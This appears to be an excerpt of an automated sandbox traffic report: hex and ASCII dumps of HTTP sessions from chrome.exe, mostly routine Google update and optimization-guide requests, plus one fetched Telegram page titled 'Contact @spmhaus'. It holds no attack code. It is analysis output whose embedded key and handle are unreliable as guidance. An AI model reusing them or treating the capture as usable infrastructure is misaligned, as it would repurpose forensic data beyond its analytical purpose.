2022-08-23 01:42:55 UTC	28	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 73 70 6d 68 61 75 73 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @spmhaus</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49819	142.250.180.170	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:43:19 UTC	37	OUT	POST /v1:GetModels?key=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: optimizationguide-pa.googleapis.com Connection: keep-alive Content-Length: 229 Content-Type: application/x-protobuf X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiWocsBCLm0zAEIkLzMAQjgvMwBCPTAzAEIm8HMAQiywcwBCMXBzAEI1sHMAQjcxMwBCN/EzAEI1sbMAQicycwBCOLLzAE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:43:19 UTC	38	OUT	Data Raw: 0a 04 08 02 20 09 0a 65 08 08 20 09 32 5f 0a 59 74 79 70 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 67 6f 6f 67 6c 65 2e 69 6e 74 65 72 6e 61 6c 2e 63 68 72 6f 6d 65 2e 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2e 76 31 2e 50 61 67 65 45 6e 74 69 74 69 65 73 4d 6f 64 65 6c 4d 65 74 61 64 61 74 61 12 02 08 0b 0a 04 08 09 20 09 0a 67 08 10 20 09 32 61 0a 59 74 79 70 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 67 6f 6f 67 6c 65 2e 69 6e 74 65 72 6e 61 6c 2e 63 68 72 6f 6d 65 2e 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2e 76 31 2e 53 65 67 6d 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 6c 4d 65 74 61 64 61 74 61 12 04 4a 02 10 01 18 06 2a 05 65 6e 2d 47 42 Data Ascii: e 2_Ytype.googleapis.com/google.internal.chrome.optimizationguide.v1.PageEntitiesModelMetadata g 2aYtype.googleapis.com/google.internal.chrome.optimizationguide.v1.SegmentationModelMetadataJ*en-GB
2022-08-23 01:43:20 UTC	38	IN	HTTP/1.1 200 OK Content-Type: application/x-protobuf Content-Disposition: attachment Vary: X-Origin Vary: Referer Date: Tue, 23 Aug 2022 01:43:20 GMT Server: ESF Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Origin,Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-23 01:43:20 UTC	39	IN	Data Raw: 32 39 35 0d 0a 0a 8a 01 0a 0e 08 02 10 97 e3 e1 8c aa 30 22 01 02 48 01 12 78 2a 76 68 74 74 70 73 3a 2f 2f 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2d 70 61 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 73 3f 6e 61 6d 65 3d 31 36 36 30 35 36 38 34 39 38 35 38 33 26 74 61 72 67 65 74 3d 4f 50 54 49 4d 49 5a 41 54 49 4f 4e 5f 54 41 52 47 45 54 5f 4c 41 4e 47 55 41 47 45 5f 44 45 54 45 43 54 49 4f 4e 0a a2 01 0a 13 08 09 10 ef af e4 8c aa 30 22 01 02 42 05 08 80 9a 9e 01 12 8a 01 2a 87 01 68 74 74 70 73 3a 2f 2f 6f 70 74 69 6d 69 7a 61 74 69 6f 6e 67 75 69 64 65 2d 70 61 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 73 3f 6e 61 6d 65 3d 31 36 36 30 35 36 38 35 34 31 31 36 37 26 74 61 72 67 65 74 Data Ascii: 2950"Hxvhttps://optimizationguide-pa.googleapis.com/downloads?name=1660568498583&target=OPTIMIZATION_TARGET_LANGUAGE_DETECTION0"Bhttps://optimizationguide-pa.googleapis.com/downloads?name=1660568541167&target
2022-08-23 01:43:20 UTC	39	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49826	142.251.209.35	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:43:33 UTC	39	OUT	POST /service/update2/json?cup2key=12:DNxao5VejMCDU4yZcRNqWa_P365-GXBufLcH_rP7G20&cup2hreq=e5c6bdb4511d7abc3b8653a4f83158d836f90ae1492d49221d4aef804fecbe1c HTTP/1.1 Host: update.googleapis.com Connection: keep-alive Content-Length: 5157 X-Goog-Update-AppId: ihnlcenocehgdaegdmhbidjhnhdchfmm,hnimpnehoodheedghdeeijklkeaacbdc,obedbbhbpmojnkanicioggnmelmoomoc,gcmjkmgdlgnkkcocmoeiminaijmmjnii,oimompecagnajdejgnnjijobebaeigek,hfnkpimlhhgieaddgfemjhofmfblmnib,llkgjffcdpffmhiakmfcdcblohccpfmo,laoigpblnllgcgjnjnllmfolckpjlhki,giekcmmlnklenlaomppkphknjmnnpneh,khaoiebndkojlmppeemjhbpbandiljpe,lmelglejhemejginpboagddgdfbepgmp,gkmgaooipdjhmangpemjhigmamcehddo,ehgidpndbllacpjalkiimkbadgjfnnmc,ggkkehgbnfjpeggfpleeakpidbkibbmn,jflookgnkcckhobaglndicnbbgbonegd,efniojlnjndmcbiieegkicadnoecjjef,jamhcnnkihinmdlkakkaopbjbbcngflc,dhlpobdgcjafebgbbhjdnapejmpkgiie,ojhpjlocmbogdgmfpkhlaaeamibhnphh,dnhnnofocefcglhjeigmkhcgfoaipbaa,imefjhfbkmcmebodilednhmaccmincoa,eeigpngbgcognadeebkilcpcaedhellh,gonpemdgkjcecdgbnaabipppbmgfggbe X-Goog-Update-Interactivity: bg X-Goog-Update-Updater: chrome-104.0.5112.81 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2022-08-23 01:43:33 UTC	41	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 40 6f 73 22 3a 22 77 69 6e 22 2c 22 40 75 70 64 61 74 65 72 22 3a 22 63 68 72 6f 6d 65 22 2c 22 61 63 63 65 70 74 66 6f 72 6d 61 74 22 3a 22 63 72 78 33 22 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 69 68 6e 6c 63 65 6e 6f 63 65 68 67 64 61 65 67 64 6d 68 62 69 64 6a 68 6e 68 64 63 68 66 6d 6d 22 2c 22 62 72 61 6e 64 22 3a 22 47 47 4c 53 22 2c 22 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 47 42 22 2c 22 70 69 6e 67 22 3a 7b 22 70 69 6e 67 5f 66 72 65 73 68 6e 65 73 73 22 3a 22 7b 37 37 31 36 63 34 35 31 2d 37 37 35 62 2d 34 66 61 35 2d 38 32 65 39 2d 33 38 34 32 65 65 65 62 64 38 32 61 7d 22 2c 22 72 64 22 3a 35 30 32 31 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 7d Data Ascii: {"request":{"@os":"win","@updater":"chrome","acceptformat":"crx3","app":[{"appid":"ihnlcenocehgdaegdmhbidjhnhdchfmm","brand":"GGLS","enabled":true,"lang":"en-GB","ping":{"ping_freshness":"{7716c451-775b-4fa5-82e9-3842eeebd82a}","rd":5021},"updatecheck":{}
2022-08-23 01:43:33 UTC	46	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-5_-ZM5mvxI50NKAhQm2KbQ' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 23 Aug 2022 01:43:33 GMT X-Cup-Server-Proof: 304402203be89bfae5f7d4e637adc8f03230be00351f03bf40d4cb71e5a381881de332ff022078c7be612a619a3fcc0a012c40f17cb1b861d9e014f80cbe2ddd83b79be982a0:e5c6bdb4511d7abc3b8653a4f83158d836f90ae1492d49221d4aef804fecbe1c ETag: W/"304402203be89bfae5f7d4e637adc8f03230be00351f03bf40d4cb71e5a381881de332ff022078c7be612a619a3fcc0a012c40f17cb1b861d9e014f80cbe2ddd83b79be982a0:e5c6bdb4511d7abc3b8653a4f83158d836f90ae1492d49221d4aef804fecbe1c" Content-Type: application/json; charset=utf-8 Content-Length: 25058 X-Daynum: 5712 X-Daystart: 67413 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-08-23 01:43:33 UTC	47	IN	Data Raw: 29 5d 7d 27 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 70 72 6f 64 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 33 2e 31 22 2c 22 64 61 79 73 74 61 72 74 22 3a 7b 22 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 22 3a 36 37 34 31 33 2c 22 65 6c 61 70 73 65 64 5f 64 61 79 73 22 3a 35 37 31 32 7d 2c 22 61 70 70 22 3a 5b 7b 22 61 70 70 69 64 22 3a 22 69 68 6e 6c 63 65 6e 6f 63 65 68 67 64 61 65 67 64 6d 68 62 69 64 6a 68 6e 68 64 63 68 66 6d 6d 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 31 35 6a 33 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 57 69 6e 20 28 49 6e 63 6c 75 64 69 6e 67 20 75 70 2d 74 6f 2d 64 61 74 65 29 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 Data Ascii: )]}'{"response":{"server":"prod","protocol":"3.1","daystart":{"elapsed_seconds":67413,"elapsed_days":5712},"app":[{"appid":"ihnlcenocehgdaegdmhbidjhnhdchfmm","cohort":"1:15j3:","status":"ok","cohortname":"Win (Including up-to-date)","ping":{"status":"ok"
2022-08-23 01:43:33 UTC	48	IN	Data Raw: 38 39 31 36 31 63 66 30 34 35 36 34 35 61 31 39 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 39 4b 67 44 61 46 44 6a 49 73 56 46 61 5a 6c 4d 4f 49 45 75 5a 46 51 59 74 50 49 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 68 6e 69 6d 70 6e 65 68 6f 6f 64 68 65 65 64 67 68 64 65 65 69 6a 6b 6c 6b 65 61 61 63 62 64 63 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 5f 65 73 62 41 6c 6c 6f 77 6c 69 73 74 22 3a 22 74 72 75 65 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b Data Ascii: 89161cf045645a19","required":true,"hash":"9KgDaFDjIsVFaZlMOIEuZFQYtPI\u003d"}]}}}},{"appid":"hnimpnehoodheedghdeeijklkeaacbdc","cohort":"1::","status":"ok","cohortname":"","ping":{"status":"ok"},"updatecheck":{"_esbAllowlist":"true","status":"ok","urls":{
2022-08-23 01:43:33 UTC	49	IN	Data Raw: 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6c 69 33 78 6a 6d 35 62 72 6e 6b 77 72 69 63 7a 6f 6b 6c 69 62 63 77 37 34 65 5f 32 30 32 32 30 38 31 34 2e 34 36 38 35 38 35 34 30 36 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6c 69 33 78 6a 6d Data Ascii: s":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://redirector.gvt1.com/edgedl/release2/chrome_component/li3xjm5brnkwriczoklibcw74e_20220814.468585406/"},{"codebase":"https://redirector.gvt1.com/edgedl/release2/chrome_component/li3xjm
2022-08-23 01:43:33 UTC	51	IN	Data Raw: 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 34 6b 71 70 64 35 76 66 36 77 6b 72 36 37 6e 75 6b 33 77 6f 6d 69 32 6f 61 61 5f 39 2e 33 37 2e 32 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 Data Ascii: :{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://redirector.gvt1.com/edgedl/release2/chrome_component/ac4kqpd5vf6wkr67nuk3womi2oaa_9.37.2/"},{"codebase":"
2022-08-23 01:43:33 UTC	51	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 34 6b 71 70 64 35 76 66 36 77 6b 72 36 37 6e 75 6b 33 77 6f 6d 69 32 6f 61 61 5f 39 2e 33 37 2e 32 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 34 6b 71 70 64 35 76 66 36 77 6b 72 36 37 6e 75 6b 33 77 6f 6d 69 32 6f 61 61 5f 39 2e 33 37 2e 32 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f Data Ascii: https://redirector.gvt1.com/edgedl/release2/chrome_component/ac4kqpd5vf6wkr67nuk3womi2oaa_9.37.2/"},{"codebase":"http://dl.google.com/release2/chrome_component/ac4kqpd5vf6wkr67nuk3womi2oaa_9.37.2/"},{"codebase":"https://dl.google.com/release2/chrome_compo
2022-08-23 01:43:33 UTC	52	IN	Data Raw: 70 6f 6e 65 6e 74 2f 61 64 79 36 63 6c 70 77 78 34 78 33 6f 76 65 69 6d 69 62 64 32 6e 68 6b 66 64 79 61 5f 37 35 33 35 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 79 36 63 6c 70 77 78 34 78 33 6f 76 65 69 6d 69 62 64 32 6e 68 6b 66 64 79 61 5f 37 35 33 35 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 79 36 63 6c 70 77 78 34 78 33 6f 76 65 69 6d 69 62 64 32 6e 68 6b 66 64 79 61 5f 37 35 33 35 2f 22 7d 2c 7b 22 63 Data Ascii: ponent/ady6clpwx4x3oveimibd2nhkfdya_7535/"},{"codebase":"https://redirector.gvt1.com/edgedl/release2/chrome_component/ady6clpwx4x3oveimibd2nhkfdya_7535/"},{"codebase":"http://dl.google.com/release2/chrome_component/ady6clpwx4x3oveimibd2nhkfdya_7535/"},{"c
2022-08-23 01:43:33 UTC	53	IN	Data Raw: 4e 70 62 32 34 76 59 6d 78 76 59 6e 4d 76 4f 44 4a 69 51 55 46 59 59 56 4a 61 5a 30 6b 35 64 69 31 68 55 46 6c 58 53 31 70 72 58 32 78 44 5a 77 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 63 68 72 6f 6d 65 77 65 62 73 74 6f 72 65 2f 4c 32 4e 6f 63 6d 39 74 5a 56 39 6c 65 48 52 6c 62 6e 4e 70 62 32 34 76 59 6d 78 76 59 6e 4d 76 4f 44 4a 69 51 55 46 59 59 56 4a 61 5a 30 6b 35 64 69 31 68 55 46 6c 58 53 31 70 72 58 32 78 44 5a 77 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 63 68 72 6f 6d 65 77 65 62 73 74 6f 72 65 2f 4c 32 4e 6f 63 6d 39 74 5a 56 39 6c 65 48 52 6c 62 6e 4e 70 62 32 34 76 59 6d 78 76 59 6e Data Ascii: Npb24vYmxvYnMvODJiQUFYYVJaZ0k5di1hUFlXS1prX2xDZw/"},{"codebase":"https://dl.google.com/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvODJiQUFYYVJaZ0k5di1hUFlXS1prX2xDZw/"},{"codebase":"http://www.google.com/dl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYn
2022-08-23 01:43:33 UTC	55	IN	Data Raw: 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 41 49 5a 6b 38 4f 37 43 76 32 55 55 62 78 63 5f 61 61 55 79 6b 4b 49 5f 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 41 49 5a 6b 38 4f 37 43 76 32 55 55 62 78 63 5f 61 61 55 79 6b 4b 49 5f 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 41 49 5a 6b 38 4f 37 43 76 32 55 55 62 78 63 5f 61 61 55 79 6b 4b 49 5f 37 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f Data Ascii: ease2/chrome_component/AIZk8O7Cv2UUbxc_aaUykKI_7/"},{"codebase":"https://dl.google.com/release2/chrome_component/AIZk8O7Cv2UUbxc_aaUykKI_7/"},{"codebase":"http://www.google.com/dl/release2/chrome_component/AIZk8O7Cv2UUbxc_aaUykKI_7/"},{"codebase":"https:/
2022-08-23 01:43:33 UTC	56	IN	Data Raw: 6f 77 79 6c 77 7a 73 79 6c 6f 6b 79 68 69 36 6b 70 72 66 6c 73 79 34 6c 61 5f 35 32 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 63 6f 77 79 6c 77 7a 73 79 6c 6f 6b 79 68 69 36 6b 70 72 66 6c 73 79 34 6c 61 5f 35 32 2f 22 7d 5d 7d 2c 22 6d 61 6e 69 66 65 73 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 35 32 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 61 73 68 5f 73 68 61 32 35 36 22 3a 22 32 38 62 62 61 32 32 65 32 35 38 39 62 39 63 35 66 65 37 61 62 38 32 33 35 37 65 38 64 38 36 30 32 31 32 65 35 66 38 64 37 61 32 31 30 37 37 30 63 30 30 63 31 35 37 Data Ascii: owylwzsylokyhi6kprflsy4la_52/"},{"codebase":"https://www.google.com/dl/release2/chrome_component/adcowylwzsylokyhi6kprflsy4la_52/"}]},"manifest":{"version":"52","packages":{"package":[{"hash_sha256":"28bba22e2589b9c5fe7ab82357e8d860212e5f8d7a210770c00c157
2022-08-23 01:43:33 UTC	57	IN	Data Raw: 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 61 73 68 5f 73 68 61 32 35 36 22 3a 22 36 64 61 62 38 38 38 33 34 66 62 36 34 38 34 66 39 61 61 38 61 38 63 30 32 36 31 30 36 64 31 65 39 38 38 64 36 61 36 32 39 66 39 31 34 65 61 36 30 36 64 34 35 63 66 66 33 32 33 34 31 61 66 63 22 2c 22 73 69 7a 65 22 3a 34 37 37 33 2c 22 6e 61 6d 65 22 3a 22 6c 6d 65 6c 67 6c 65 6a 68 65 6d 65 6a 67 69 6e 70 62 6f 61 67 64 64 67 64 66 62 65 70 67 6d 70 5f 33 35 30 5f 61 6c 6c 5f 5a 5a 5f 61 64 72 78 67 66 6a 69 7a 73 74 6e 61 65 34 73 76 6d 6d 6c 62 79 6a 6a 66 67 33 71 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 36 64 61 62 38 38 38 33 34 66 62 36 34 38 34 66 39 61 61 38 61 38 63 30 32 36 31 30 36 64 31 65 39 38 38 64 36 61 36 32 39 Data Ascii: ","packages":{"package":[{"hash_sha256":"6dab88834fb6484f9aa8a8c026106d1e988d6a629f914ea606d45cff32341afc","size":4773,"name":"lmelglejhemejginpboagddgdfbepgmp_350_all_ZZ_adrxgfjizstnae4svmmlbyjjfg3q.crx3","fp":"1.6dab88834fb6484f9aa8a8c026106d1e988d6a629
2022-08-23 01:43:33 UTC	59	IN	Data Raw: 35 32 30 36 38 35 62 63 32 31 62 38 37 36 33 63 37 38 39 30 62 63 33 35 64 62 32 37 64 65 22 2c 22 73 69 7a 65 22 3a 36 39 30 33 38 33 34 2c 22 6e 61 6d 65 22 3a 22 67 6b 6d 67 61 6f 6f 69 70 64 6a 68 6d 61 6e 67 70 65 6d 6a 68 69 67 6d 61 6d 63 65 68 64 64 6f 5f 31 30 34 2e 32 38 38 2e 32 30 30 5f 77 69 6e 36 34 5f 61 63 68 61 6c 72 34 63 78 71 61 71 71 69 75 36 65 71 62 79 35 32 6c 6c 6a 35 61 71 2e 63 72 78 33 22 2c 22 66 70 22 3a 22 31 2e 31 34 39 61 63 38 61 31 39 39 36 33 36 63 62 63 35 62 61 63 64 37 35 36 30 37 62 64 62 34 34 33 61 63 35 32 30 36 38 35 62 63 32 31 62 38 37 36 33 63 37 38 39 30 62 63 33 35 64 62 32 37 64 65 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 58 43 31 69 6a 54 75 49 54 4f 43 53 68 53 49 35 Data Ascii: 520685bc21b8763c7890bc35db27de","size":6903834,"name":"gkmgaooipdjhmangpemjhigmamcehddo_104.288.200_win64_achalr4cxqaqqiu6eqby52llj5aq.crx3","fp":"1.149ac8a199636cbc5bacd75607bdb443ac520685bc21b8763c7890bc35db27de","required":true,"hash":"XC1ijTuITOCShSI5
2022-08-23 01:43:33 UTC	59	IN	Data Raw: 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 73 74 61 62 6c 65 36 34 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 41 4d 70 67 35 2d 63 6e 72 41 4e 6f 5f 32 30 31 38 2e 38 2e 38 2e 30 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 Data Ascii: tus":"ok","cohortname":"stable64","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://redirector.gvt1.com/edgedl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/"},{"codebase":"https://redirector.gvt1.com/edgedl/releas
